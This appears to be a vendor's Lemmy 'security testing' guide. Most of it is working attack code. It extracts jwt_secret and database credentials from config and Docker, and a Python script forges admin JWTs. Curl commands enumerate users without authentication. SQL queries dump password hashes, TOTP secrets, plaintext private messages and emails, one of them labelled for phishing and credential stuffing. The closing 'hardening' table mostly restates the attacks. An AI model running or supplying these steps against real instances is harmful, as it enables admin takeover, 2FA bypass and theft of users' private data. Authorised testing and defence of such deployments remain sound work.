Lemmy Security Testing: Default Credentials, API Key, Database, and Federated Forum

Lemmy is a widely deployed self-hosted federated link aggregator (Reddit alternative) — organizations and communities use it to host private or public discussion forums. Key assessment areas: jwt_secret in lemmy.hjson signs all authentication tokens enabling session forgery for any user including admins; the ActivityPub federation API enables unauthenticated user enumeration; PostgreSQL stores all private messages unencrypted; and the admin account created during setup frequently uses weak credentials. This guide covers systematic Lemmy security assessment.

Table of Contents

  1. JWT Secret Extraction and Session Token Forgery
  2. User Enumeration and API Reconnaissance
  3. PostgreSQL Database Extraction
  4. Lemmy Security Hardening

JWT Secret Extraction and Session Token Forgery

# Lemmy — JWT secret extraction and session token forgery
LEMMY_URL="https://lemmy.example.com"

# lemmy.hjson — main Lemmy configuration (contains JWT secret)
cat /etc/lemmy/lemmy.hjson 2>/dev/null
cat /opt/lemmy/lemmy.hjson 2>/dev/null
# Contains:
# jwt_secret: "random-string-here"  <-- signs ALL auth tokens
# database: { uri: "postgresql://lemmy:PASSWORD@localhost:5432/lemmy" }
# email: { smtp_password: "..." }

# Docker environment — Lemmy secrets
docker inspect lemmy 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['LEMMY_', 'JWT', 'DATABASE', 'POSTGRES', 'SECRET']):
            print(e)
" 2>/dev/null

# Forge a Lemmy JWT with extracted jwt_secret
# Lemmy uses HS256 JWT with claims: sub (user_id), iss (instance domain), iat
JWT_SECRET="extracted-jwt-secret"
TARGET_USER_ID=2  # 1 is typically the first admin

python3 -c "
import json, base64, hmac, hashlib, time

secret = '${JWT_SECRET}'
header = {'alg': 'HS256', 'typ': 'JWT'}
payload = {
    'sub': ${TARGET_USER_ID},
    'iss': 'lemmy.example.com',
    'iat': int(time.time())
}

h = base64.urlsafe_b64encode(json.dumps(header, separators=(',',':')).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps(payload, separators=(',',':')).encode()).rstrip(b'=').decode()
sig_input = f'{h}.{p}'
sig = hmac.new(secret.encode(), sig_input.encode(), hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
token = f'{h}.{p}.{sig_b64}'
print(f'Forged JWT for user {TARGET_USER_ID}:')
print(token)
" 2>/dev/null

# Test forged JWT
FORGED_JWT="forged.token.here"
curl -s "${LEMMY_URL}/api/v3/site" \
  -H "Authorization: Bearer ${FORGED_JWT}" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
me = d.get('my_user',{})
lu = me.get('local_user_view',{})
print(f'Authenticated as: {lu.get(\"person\",{}).get(\"name\")}')
print(f'Admin: {lu.get(\"local_user\",{}).get(\"admin\")}')
print(f'Email: {lu.get(\"local_user\",{}).get(\"email\")}')
" 2>/dev/null

User Enumeration and API Reconnaissance

# Lemmy user enumeration and API reconnaissance (unauthenticated)
LEMMY_URL="https://lemmy.example.com"

# GET /api/v3/site — instance info without auth (reveals admin list)
curl -s "${LEMMY_URL}/api/v3/site" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
site = d.get('site_view',{})
print(f'Instance: {site.get(\"site\",{}).get(\"name\")}')
print(f'Description: {site.get(\"site\",{}).get(\"description\",\"\")[:100]}')
admins = d.get('admins',[])
print(f'Admins ({len(admins)}):')
for a in admins:
    p = a.get('person',{})
    print(f'  id={p.get(\"id\")} name={p.get(\"name\")} admin=True')
" 2>/dev/null

# GET /api/v3/person/list — enumerate all users (unauthenticated)
curl -s "${LEMMY_URL}/api/v3/person/list?page=1&limit=50&sort=New" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('persons',[])
print(f'Users found: {len(users)}')
for u in users[:10]:
    p = u.get('person',{})
    print(f'  id={p.get(\"id\")} name={p.get(\"name\")} admin={p.get(\"admin\")}')
" 2>/dev/null

# ActivityPub — user enumeration via federation API (no auth)
USERNAMES=("admin" "lemmy" "moderator")
for U in "${USERNAMES[@]}"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Accept: application/activity+json" \
    "${LEMMY_URL}/u/${U}" 2>/dev/null)
  echo "User '${U}': HTTP ${STATUS}"
  [ "$STATUS" = "200" ] && echo "  User exists!"
done

# GET /api/v3/community/list — all communities (unauthenticated)
curl -s "${LEMMY_URL}/api/v3/community/list?type_=Local&page=1&limit=50" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
comms = d.get('communities',[])
print(f'Communities: {len(comms)}')
for c in comms[:5]:
    cv = c.get('community',{})
    print(f'  {cv.get(\"name\")} ({cv.get(\"id\")}) posts={c.get(\"counts\",{}).get(\"posts\")}')
" 2>/dev/null

PostgreSQL Database Extraction

# Lemmy PostgreSQL database extraction
LEMMY_DB="lemmy"

psql -h localhost -U lemmy -d "$LEMMY_DB" 2>/dev/null << 'EOF'
-- All local user accounts with credentials
SELECT lu.id,
       p.name as username,
       lu.email,
       lu.password_encrypted,  -- bcrypt hash
       lu.admin,
       lu.totp_2fa_secret,    -- TOTP secret if 2FA enabled
       p.created
FROM local_user lu
JOIN person p ON lu.person_id = p.id
WHERE p.local = true
ORDER BY lu.admin DESC, p.created
LIMIT 20;
EOF

-- All private messages (stored unencrypted)
psql -h localhost -U lemmy -d "$LEMMY_DB" 2>/dev/null << 'EOF'
SELECT pm.id,
       creator.name as sender,
       recipient.name as receiver,
       pm.content,            -- message body in plaintext
       pm.read,
       pm.published
FROM private_message pm
JOIN person creator ON pm.creator_id = creator.id
JOIN person recipient ON pm.recipient_id = recipient.id
ORDER BY pm.published DESC
LIMIT 20;
EOF

-- JWT secret from local_site table (some versions store it here)
psql -h localhost -U lemmy -d "$LEMMY_DB" 2>/dev/null << 'EOF'
SELECT site_id, jwt_secret, actor_id FROM local_site LIMIT 1;
-- jwt_secret here overrides lemmy.hjson in some configurations
-- actor_id is the ActivityPub ID (public instance info)
EOF

-- All email addresses for phishing/credential stuffing
psql -h localhost -U lemmy -d "$LEMMY_DB" 2>/dev/null << 'EOF'
SELECT lu.email, p.name, lu.admin,
       lu.email_verified,
       p.created
FROM local_user lu
JOIN person p ON lu.person_id = p.id
WHERE lu.email IS NOT NULL
ORDER BY lu.admin DESC;
EOF

Lemmy Security Hardening

Lemmy Security Hardening Checklist:
Security TestMethodRisk
jwt_secret extraction and admin session token forgeryRead lemmy.hjson jwt_secret — forge HS256 JWT with admin user ID; full admin API access including user banning, content deletion, instance-wide moderation actionsCritical
Unauthenticated user enumerationGET /api/v3/person/list — full user roster without authentication; GET /api/v3/site reveals all admin user IDs; ActivityPub /u/{username} user existence checkingHigh
PostgreSQL private_message plaintext extractionSELECT content FROM private_message — all private conversations stored unencrypted; complete message history for all usersHigh
local_user table credential and email extractionSELECT email, password_encrypted, totp_2fa_secret FROM local_user — all bcrypt hashes, email addresses, and TOTP secrets enabling 2FA bypassHigh
Database URI extraction from lemmy.hjsonRead lemmy.hjson database.uri — PostgreSQL connection string with username and password; full database accessHigh

Automate Lemmy Security Testing

Ironimo tests Lemmy deployments for lemmy.hjson jwt_secret extraction and admin session token forgery, unauthenticated user enumeration via person/list API, ActivityPub federation user enumeration, PostgreSQL private_message plaintext content extraction, local_user email and bcrypt hash extraction, totp_2fa_secret TOTP bypass, local_site jwt_secret database entry, admin credential brute-force testing, community enumeration without authentication, and Docker environment variable jwt_secret and database credential exposure.

Start free scan